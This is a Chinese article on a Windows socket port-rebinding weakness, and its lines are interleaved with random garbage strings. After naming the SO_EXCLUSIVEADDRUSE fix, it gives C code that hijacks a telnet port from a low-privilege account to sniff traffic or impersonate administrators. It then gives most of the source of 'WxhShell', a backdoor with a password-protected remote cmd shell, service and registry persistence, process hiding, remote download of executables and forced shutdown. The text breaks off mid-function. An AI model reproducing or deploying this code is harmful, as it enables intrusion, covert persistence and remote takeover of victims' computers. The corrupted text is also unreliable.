在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1,UeVw/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.quui\I3 iA*^`NMaT saddr.sin_family = AF_INET;
^na8d's: ]?KTw8j} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MR4e.+#E }/)vOUcEd bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2stBW5v3 ((KNOa5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<zd_-Ysn abog\0 这意味着什么?意味着可以进行如下的攻击:
%#5\^4$z|N Dsq_}6l{ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`N<6)MX3>g J-iFAKN 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
]x)^/d $ glt%a 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2AYV9egZ p@B/S(Xi 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+=.>9 hG1\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b!(ew`Y; )9F o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
u7PtGN0r% RWyDX_z#< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pF0sXvWGG )w.+( v( #include
4Js2/s #include
;/-v4 #include
{tS^Q*F #include
"&$ [@c DWORD WINAPI ClientThread(LPVOID lpParam);
y$i^C: N int main()
0)<\jo1 F {
`O5 Hzb(} WORD wVersionRequested;
p2m@0ou DWORD ret;
"gt-bo., WSADATA wsaData;
6yn34'yw BOOL val;
,<Ag&*YE4 SOCKADDR_IN saddr;
F7f psAt7 SOCKADDR_IN scaddr;
%E<.\\^% int err;
U%.%:'eV= SOCKET s;
g+(Cs SOCKET sc;
[p& n]T int caddsize;
6_UCRo5h% HANDLE mt;
@*Y"[\ "$ DWORD tid;
7(8i~} wVersionRequested = MAKEWORD( 2, 2 );
:? uUh err = WSAStartup( wVersionRequested, &wsaData );
o7:~C] if ( err != 0 ) {
ShP&ss printf("error!WSAStartup failed!\n");
X283 . ? return -1;
&^q!,7.J }
c:*[HO\ saddr.sin_family = AF_INET;
f$7Xh~ #|92+ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
w^Mj[v# 2SjH7
' saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
z (1zth saddr.sin_port = htons(23);
dM-qd` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9+i rf^D`O {
OBnf5*eJ printf("error!socket failed!\n");
f`;y
"ba return -1;
m8j Q~OS }
]VKM3[ val = TRUE;
i`nmA-Zj[ //SO_REUSEADDR选项就是可以实现端口重绑定的
a *hWODYn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Gt4/ax:A@ {
|_6V+/?"?` printf("error!setsockopt failed!\n");
kT-dQ32 return -1;
z`}<mY
E }
%>];F~z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ee~<PDzB //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
biLNR"/E //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
+6zW(Ql/
a-\M)}T if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6%-RKQi {
XBr-UjQ ret=GetLastError();
c*m7'\ printf("error!bind failed!\n");
h0cdRi return -1;
LL0Y$pHV }
K'6NW:zp~ listen(s,2);
'3i,^g0?t0 while(1)
]2_b_ok {
^y,Ex;6o caddsize = sizeof(scaddr);
Za110oF //接受连接请求
C{*' p+f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
{+3
`{34e if(sc!=INVALID_SOCKET)
h]+UK14m {
u# TNW. mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'9ki~jtf= if(mt==NULL)
-$ VP#% {
CD!Aa printf("Thread Creat Failed!\n");
[
pe{,lp break;
7^oO
N+=d }
|#b]e|aP }
5V $H?MW> CloseHandle(mt);
mi';96 }
n%S%a>IQj closesocket(s);
>fq]c WSACleanup();
xCQLfXK7 return 0;
*2T"lpl }
YAdk3y~pL DWORD WINAPI ClientThread(LPVOID lpParam)
CyV2=o!F w {
JhU"akoK SOCKET ss = (SOCKET)lpParam;
/Kd9UQU SOCKET sc;
i8h^~d2" unsigned char buf[4096];
uGc0Lv4i/ SOCKADDR_IN saddr;
1PN!1= F} long num;
ke)}JU^" DWORD val;
@zCp/fo3 DWORD ret;
d :vuRK4+ //如果是隐藏端口应用的话,可以在此处加一些判断
u\AL`'v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
7WMF8(j5 saddr.sin_family = AF_INET;
Oxp!G7qfo saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
"-
?uB Mz saddr.sin_port = htons(23);
n1Wo<$# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v[2N- {
+^ cjdH* printf("error!socket failed!\n");
j[RY return -1;
?onEqH> }
rj
] ~g val = 100;
$~,J8?)(z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c;B: o {
FokSg[)5 ret = GetLastError();
T!jMh-8 return -1;
3sK^
( }
dFl8 'D if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'lMDlTU O {
P!yOA_)as ret = GetLastError();
Y-s6Z\ return -1;
Yh["IhjR }
2PC:F9dh\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
nZX`y
-AZ {
UrmnHc>}c printf("error!socket connect failed!\n");
Z VyJ%"(E closesocket(sc);
s/0bXM$^ closesocket(ss);
pV(qan, return -1;
,@]*Xgt= }
JKF/z@Vbe\ while(1)
Y '+mC {
)tv~N7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vNQ|tmn //如果是嗅探内容的话,可以再此处进行内容分析和记录
.O&[9`"' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
xdgbs-a) num = recv(ss,buf,4096,0);
$Xr4=9(|7 if(num>0)
{
V$}qa{P send(sc,buf,num,0);
.Q!p Q"5 else if(num==0)
s>I~%+V.?: break;
J(Fk@{!F.* num = recv(sc,buf,4096,0);
FvXpqlp if(num>0)
hEA;5-m send(ss,buf,num,0);
{rzvZ0-j} else if(num==0)
"H\R*\-0 break;
<64#J9T^ }
_&RGhA closesocket(ss);
O&
1z- closesocket(sc);
w&>*4=^a return 0 ;
#OwxxUeZ }
wD92Ava
"#.L\p{Zy +TC##}Zmb ==========================================================
Rjn%<R2nW !q1XyQX 下边附上一个代码,,WXhSHELL
7po;*?Ox \HL66%b[ ==========================================================
N *,[(q m>^vr7 #include "stdafx.h"
%F87"v~ xQ!
Va #include <stdio.h>
IqFmJs|C #include <string.h>
pN{XGkX. #include <windows.h>
k{
$,FQ4 #include <winsock2.h>
w:9M6+mM^ #include <winsvc.h>
lE8(BWzw #include <urlmon.h>
tP89gN^PA| }\QXPU{UVd #pragma comment (lib, "Ws2_32.lib")
-U{!'e8YiN #pragma comment (lib, "urlmon.lib")
u`"Y!*[ -
N8)]d #define MAX_USER 100 // 最大客户端连接数
d~KTUgH'< #define BUF_SOCK 200 // sock buffer
GA"vJFQ #define KEY_BUFF 255 // 输入 buffer
0v|qP $+ORq3 #define REBOOT 0 // 重启
XPLm`Q|1#t #define SHUTDOWN 1 // 关机
qu0q
LM ^ f[^.k$3d #define DEF_PORT 5000 // 监听端口
y/>Nx7C0=2 BKK@_B" #define REG_LEN 16 // 注册表键长度
*rVI[kL #define SVC_LEN 80 // NT服务名长度
63'L58O 5R6QZVc // 从dll定义API
NNBT.k3) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
nK`H;k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
zp\_5[qJ; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Pf~0JNnc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
*G[` T%g `_x#`%!#2 // wxhshell配置信息
mr,GHx struct WSCFG {
M hjIE<OI= int ws_port; // 监听端口
X([@}ren char ws_passstr[REG_LEN]; // 口令
75iudki int ws_autoins; // 安装标记, 1=yes 0=no
2RdpVNx\y char ws_regname[REG_LEN]; // 注册表键名
tILnD1q char ws_svcname[REG_LEN]; // 服务名
CdKs+x&tZ char ws_svcdisp[SVC_LEN]; // 服务显示名
TA+#{q+a char ws_svcdesc[SVC_LEN]; // 服务描述信息
"?6R"Vk?: char ws_passmsg[SVC_LEN]; // 密码输入提示信息
f\;f&GI int ws_downexe; // 下载执行标记, 1=yes 0=no
m4^VlE,`Dh char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
4{h^O@*g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p7L6~IN Jw^h<z/Ux };
Pk5 %lu y!x-R!3 // default Wxhshell configuration
MEOfVh struct WSCFG wscfg={DEF_PORT,
E O " "xuhuanlingzhe",
GL^
j
|1 1,
Mo]iVj8~ "Wxhshell",
}Qh%Z) "Wxhshell",
q)PSHr=Z "WxhShell Service",
yMOYTN@] "Wrsky Windows CmdShell Service",
D>kkA|> "Please Input Your Password: ",
_)~|Z~ 1,
xR;z!Tg) "
http://www.wrsky.com/wxhshell.exe",
)>]SJQ!k "Wxhshell.exe"
qc3?Aplj };
W+.?J
60 ^y~oXS( // 消息定义模块
a?)g>e
HN char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_k5$.f:Yj< char *msg_ws_prompt="\n\r? for help\n\r#>";
iig&O(, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
J?Rp char *msg_ws_ext="\n\rExit.";
#+^l3hMK char *msg_ws_end="\n\rQuit.";
)5TX3#=;(G char *msg_ws_boot="\n\rReboot...";
hDbZ62DDN char *msg_ws_poff="\n\rShutdown...";
V3_qqz}`r char *msg_ws_down="\n\rSave to ";
oTA'=<W?D Xm6M s<z6 char *msg_ws_err="\n\rErr!";
c70B char *msg_ws_ok="\n\rOK!";
`Mo%)I<`= _X)]/A%@ char ExeFile[MAX_PATH];
-./Y int nUser = 0;
xG(:O@ HANDLE handles[MAX_USER];
z]sQ3"cmX int OsIsNt;
tAb3ejCo? fVZ_*'v SERVICE_STATUS serviceStatus;
th=45y"C SERVICE_STATUS_HANDLE hServiceStatusHandle;
hG3RZN#ejq 72y!cK6 // 函数声明
gIcPKj"8${ int Install(void);
efh 1-3f int Uninstall(void);
%Jn5M(myC int DownloadFile(char *sURL, SOCKET wsh);
d_98%U+u int Boot(int flag);
5hB2:$C void HideProc(void);
DE?@8k int GetOsVer(void);
'YEiT#+/ int Wxhshell(SOCKET wsl);
e co=ia void TalkWithClient(void *cs);
!Tu.A@ int CmdShell(SOCKET sock);
l`];CALA4 int StartFromService(void);
5JZZvc$au int StartWxhshell(LPSTR lpCmdLine);
[ HjGdC /PkOF(( VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lqKwjJtX VOID WINAPI NTServiceHandler( DWORD fdwControl );
t;[Q&Jl .|K\1qGW0 // 数据结构和表定义
uMBb=
SERVICE_TABLE_ENTRY DispatchTable[] =
*1}vn%wvn {
$P&27 {wscfg.ws_svcname, NTServiceMain},
b*a}~1 {NULL, NULL}
m>b
i$Y };
w2tkJcQ3 .sUL5` // 自我安装
vaZ?>94 int Install(void)
BimM)4g {
U3w*z6OG char svExeFile[MAX_PATH];
r3.v ^ HKEY key;
wD[qE strcpy(svExeFile,ExeFile);
hpticW| St1>J.k_ // 如果是win9x系统,修改注册表设为自启动
c{f1_qXN if(!OsIsNt) {
8\Eq(o}7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;}k_2mr~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
X .S8vlb4z RegCloseKey(key);
zdDJcdbGd1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!?)iP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J~G"D-l<9/ RegCloseKey(key);
+z\O"zlj return 0;
.]Z,O>N }
F^');8~L }
@yjui }
;Y16I#?;Kh else {
t,;b*ZR Ia)^ // 如果是NT以上系统,安装为系统服务
*$>$O% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k?=V?JWY if (schSCManager!=0)
Iyvl6 {
j8p'B-yS SC_HANDLE schService = CreateService
?r~](l (
k<S!| schSCManager,
0 .p $q wscfg.ws_svcname,
AwL;-|X wscfg.ws_svcdisp,
3!B3C(g SERVICE_ALL_ACCESS,
HjN )~<j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-OP5v8c
f SERVICE_AUTO_START,
2!Ex55 SERVICE_ERROR_NORMAL,
ts0K"xmY\c svExeFile,
RbNRBK!{ NULL,
d_Vwjv&@/" NULL,
xE.=\UzJ NULL,
S[M\com' NULL,
=;xlmndT, NULL
;
bDFrG );
? 5
V-D8k if (schService!=0)
`24:Eg6r {
N,_ej@L8 CloseServiceHandle(schService);
yc 5n CloseServiceHandle(schSCManager);
'lNl><e- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
7f
td2lv strcat(svExeFile,wscfg.ws_svcname);
yQ8H-a. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
k
.l,>s`! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
=U".L RegCloseKey(key);
]QU52R@M return 0;
Cj):g,[a }
f1>^kl3@P }
XsHl%o8,z CloseServiceHandle(schSCManager);
w02HSQ }
(;h]'I@ }
^ihXM]1{G 9tC8|~Q return 1;
UwQ3q }
?-'Q-\j tg5jS]O // 自我卸载
YKvFZH) int Uninstall(void)
I_ .;nU1xA {
w }2|Do$5 HKEY key;
T}]Ao U>x2'B v if(!OsIsNt) {
.]H]H *wC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E(U}$Zey RegDeleteValue(key,wscfg.ws_regname);
ddHIP`wb RegCloseKey(key);
qkUr5^1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
JT^E`<nn RegDeleteValue(key,wscfg.ws_regname);
c)E[K-u RegCloseKey(key);
+;[`fSi return 0;
j)IK }
Azz]TO }
L}a3!33)C }
xD?{Hw>QT# else {
,em6wIq, |H_)u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
_zmx if (schSCManager!=0)
d8RpL{9\7 {
0XYO2k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
{Rj' =%h if (schService!=0)
X-{:.9 {
}\DQxHG if(DeleteService(schService)!=0) {
\
bT]?.si CloseServiceHandle(schService);
n"K7@[d CloseServiceHandle(schSCManager);
Z#MODf0H@ return 0;
'HcDl@E }
JN KZ'9 CloseServiceHandle(schService);
F5<{-{Ky }
u\.sS|$ CloseServiceHandle(schSCManager);
C${TC+z }
r&3fSx9 }
2aje$w- |b3/63Ri-0 return 1;
ycAQPz}=I }
V!<#E)-?< l*:p== // 从指定url下载文件
S8)awTA9 int DownloadFile(char *sURL, SOCKET wsh)
.RWBn~b#I {
tl^[MLQa HRESULT hr;
&s < char seps[]= "/";
[sk"2 char *token;
_gGy(` char *file;
Rt:PW}rFf char myURL[MAX_PATH];
GKd>AP_ char myFILE[MAX_PATH];
6~/H#8Kdn P*T)/A%4 strcpy(myURL,sURL);
#EM'=Q%TO token=strtok(myURL,seps);
#129 i2 while(token!=NULL)
v/haUPWF\ {
y14@9<~9 file=token;
J;kbY9e token=strtok(NULL,seps);
`WW0~Tp3 }
O46/[{p+8 Elq8WtS GetCurrentDirectory(MAX_PATH,myFILE);
4QVd{ strcat(myFILE, "\\");
M1M]]fT0ME strcat(myFILE, file);
8Z!ea3kAT send(wsh,myFILE,strlen(myFILE),0);
K/,lw~> send(wsh,"...",3,0);
mDmWTq\ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
r4lG 5dV if(hr==S_OK)
|5/[0V-vy return 0;
dbXG?K][ else
mHMej@ return 1;
vPsX!m[# XN0Y#l }
U+i[r&{gb rh
l5r"% // 系统电源模块
%%>?<4t int Boot(int flag)
ZF/KV\Ag) {
.e AC!R HANDLE hToken;
*j*
WE\ TOKEN_PRIVILEGES tkp;
fytx({I
.a e](=)h| if(OsIsNt) {
,{50zx2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
<XagkD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m&%b;%,J tkp.PrivilegeCount = 1;
uSQ*/h-<)0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
s?E: ] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
>?'FH +2K if(flag==REBOOT) {
Wd}mC<rv1 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gZUy0`E return 0;
;hvXFU }
HKkf+)%)x else {
VfwD{+5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
V"ZbKV+[ return 0;
Uk2q,2 }
%E\%nTV }
kt#W~n else {
z&0V21"l if(flag==REBOOT) {
f.$o|R=v if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
z)~!G~J] return 0;
Em;b,x*U }
]`XuE-Uh else {
Q=8
cBRe if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
u3:Q t2^S return 0;
,lJ6"J\8. }
M::iU_ }
#0D.37R+k k
I~]u return 1;
;"
*`
}
(r4VIlap iL, XBoE // win9x进程隐藏模块
Fzs'@* void HideProc(void)
ks;w c"k" {
5uer
[1A jZ!JXmVV HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Ag6
( if ( hKernel != NULL )
}6>J {
0?xiG SZV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y(zN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^BX@0"&- FreeLibrary(hKernel);
`yZZP }
NR&9:? *"\Q ~#W return;
BfT, }
88$Y-g5* d6EY'*0 // 获取操作系统版本
Dj+Osh int GetOsVer(void)
ek)(pJ(+# {
WtfOE@h OSVERSIONINFO winfo;
? myXG92 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Zbh]OCN GetVersionEx(&winfo);
\ZRoTh if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
~N^vE; return 1;
5ba[6\Af else
%UQB?dkf$ return 0;
'kvFU_) }
8M9\<k6 :5{@* // 客户端句柄模块
k)V%.Eobf int Wxhshell(SOCKET wsl)
&2=KQ\HO {
d %W}w. SOCKET wsh;
!u}3H|6~ struct sockaddr_in client;
J*!:ar DWORD myID;
;-GzGDc~0 bTGK@~ while(nUser<MAX_USER)
'5/}MMT {
\_AEuz3
F int nSize=sizeof(client);
&AcFa<U wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-==qMrKP if(wsh==INVALID_SOCKET) return 1;
y32++b! ~hslLUE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
aijGz< if(handles[nUser]==0)
LIC~Kehi closesocket(wsh);
l\;mP.! else
Jx$#GUl#j nUser++;
)?&kQ^@v }
Y;F
R"~^ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?s)sPM? ,Kf8T9z` return 0;
<-:@} |br }
7EP|X. ]esLAo // 关闭 socket
Gj19KQ1G void CloseIt(SOCKET wsh)
a@y5JxFAy {
L1kM~M closesocket(wsh);
Y\e]2 nUser--;
,/`E|eG1G ExitThread(0);
C!{AnWf }
iEVA[xy=D | 58!A] // 客户端请求句柄
YB
B$uGA void TalkWithClient(void *cs)
G7Abhb, {
N@*wi"Q uy _i{Y| SOCKET wsh=(SOCKET)cs;
cYM~IA char pwd[SVC_LEN];
U+PCvl=x char cmd[KEY_BUFF];
Cz@FZb8 char chr[1];
TDFO9%2c int i,j;
^b!7R
<>~ mH*@d" while (nUser < MAX_USER) {
2Uv3_i< iSr`fQw# if(wscfg.ws_passstr) {
Ivt} o_b* if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L>Oy7w)Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gJ5wAK+? //ZeroMemory(pwd,KEY_BUFF);
bV$8
>[` i=0;
+#qt^NO while(i<SVC_LEN) {
Bf:tal6 -M i<wU.JX&h // 设置超时
5Z6-R}uXk fd_set FdRead;
MkW1FjdP struct timeval TimeOut;
,+/9K)X FD_ZERO(&FdRead);
[Ba2b: l6v FD_SET(wsh,&FdRead);
W`u$7k]$ TimeOut.tv_sec=8;
{LT4u]# TimeOut.tv_usec=0;
_TOi
[GT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
y,v0-o~q if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<L/M`(:=k XK%W^a*x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
}or2 $\>m pwd
=chr[0]; e-iYJ?
if(chr[0]==0xd || chr[0]==0xa) { ,V33v<|wc
pwd=0; J7ktfyQ0W
break; `xX4!^0Hm
} Xvu)
i++; P
0Efh?oZ
} Y$x"4=~
VXkAFgO
// 如果是非法用户,关闭 socket KIKq9 *
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nEd
M_JPv
} u*26>.
]CIQq1iY
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L8:]`MQ0
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); chO'Q+pw
hg&w=l
while(1) { EItxRHV5
4ypRyO
ZeroMemory(cmd,KEY_BUFF); eA1k)gjE
E5*-;>2c
// 自动支持客户端 telnet标准 3V/_I<y
j=0; xHv|ca.E
while(j<KEY_BUFF) { NqT1buU#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ApG'jN
cmd[j]=chr[0]; gHvW
e
if(chr[0]==0xa || chr[0]==0xd) { 8B *E+f0
cmd[j]=0; x/%7%_+'
break; rkfQr9Vc
} 9V=<| 2
j++; "u<jbD
} /[Bl
Z[#I"-Q~:
// 下载文件 'f-
if(strstr(cmd,"http://")) { N
b3I%r
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~>#LOT `
if(DownloadFile(cmd,wsh)) Ql~#((K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _\,rX\
else ka2F!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "u(S2'DW'(
} wTTTrk
else { >`hSye{
Gva}J6{
switch(cmd[0]) { ?eL='>Ne
pXPqDA
// 帮助 s?^,iQ+tp
case '?': { m\6SG' X
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =$b-xsmeG
break;
09
} @A
[)hk&(R
// 安装 M5']sdR(l
case 'i': { /rIm7FW)
if(Install()) yy1>r }L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <G\
<QV8W
else 6sYV7w,'@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xw4ey<"I
break; m!#_CQ:
} F~z_>1lpP&
// 卸载 !~K=#"T
case 'r': { \R8 6;9ov
if(Uninstall()) @Pxw hlxa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DH\wDQ
else DUZQO{V
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iD%qy /I/
break; MxY50^}(
} tCZpfZ@+=
// 显示 wxhshell 所在路径 `GvA241
case 'p': { tCWJSi`IJ
char svExeFile[MAX_PATH]; <^#P6
strcpy(svExeFile,"\n\r"); cwu$TP A>
strcat(svExeFile,ExeFile); L3B8IDq
send(wsh,svExeFile,strlen(svExeFile),0); RI(=HzB
break; 7^B3lC)
} `0yb?Nk `:
// 重启 g9DG=\*A
case 'b': { rW:iBq
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ab*]dn`z
if(Boot(REBOOT)) ]@*tfz\YaH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GS}0;x
else { so} l#
closesocket(wsh); ;e&!
ExitThread(0); >W8bWQ^fK
} {V[Ha~b%*
break; ;US83%*
} dKU5;
// 关机 %z1{Kus
case 'd': { z8b
_ _%Br
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +``>,O6
if(Boot(SHUTDOWN)) d2ohW|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &c20x+
else { ZR1+
O8
closesocket(wsh); LPq2+:JpS
ExitThread(0); DXKyRkn6e
} Ip>^O/}$1
break; 9U]pH%.9
} NeY"6!;k
// 获取shell }g}6qCv7
case 's': { 3nwz<P
CmdShell(wsh); !loO%3_)
closesocket(wsh); ]a)IMIh;
ExitThread(0); =Q@6c
break; PM@XtL7J
} M6\7FP6G
// 退出 @|^jq
case 'x': { Z%Vr+)!4
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?hKm&B;d
CloseIt(wsh); 6%>/og\%
break; {n\6BTs
} !2(.$}E
// 离开 Cq gJ
case 'q': { yP
x\ltG3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2.]~*7
closesocket(wsh); Y]~IY?I
WSACleanup(); Bk+{}
exit(1); P2>:p%Z
break; zgK;4
22$m
} 8AryIgy>@
} D^nxtuT*
} >Z}@7$(7!~
ja?s@Y}-9s
// 提示信息 VW {,:Ya
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }bp.OV-+
} 3a%xn4P
} `%uK0qw"
S:#e8H_7m]
return; Im6U_JsNZh
} `\wUkmH
Eevw*;$x
// shell模块句柄 1XCmMZ
int CmdShell(SOCKET sock) L+73aN
{ &T7cH>E'K^
STARTUPINFO si; {ZG:M}ieN
ZeroMemory(&si,sizeof(si)); \OP9_J(*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _y>}#6B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'v\j.j/i
PROCESS_INFORMATION ProcessInfo; W;.{]x.0
char cmdline[]="cmd"; .`Sw,XL5
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :xM}gPj"
return 0; ANotUty;y
} u-kZW1wrQ
~*,Wj?~+7
// 自身启动模式 7g5@vYS+
int StartFromService(void) zb>;?et;)
{ yu=piP
typedef struct qT$)Rb&
{ Y5n>r@)m
DWORD ExitStatus; c88_}%h?(
DWORD PebBaseAddress; |f<9miNu
DWORD AffinityMask; V7BsE w
DWORD BasePriority; B7|c`7x(
ULONG UniqueProcessId; -rO*7HO
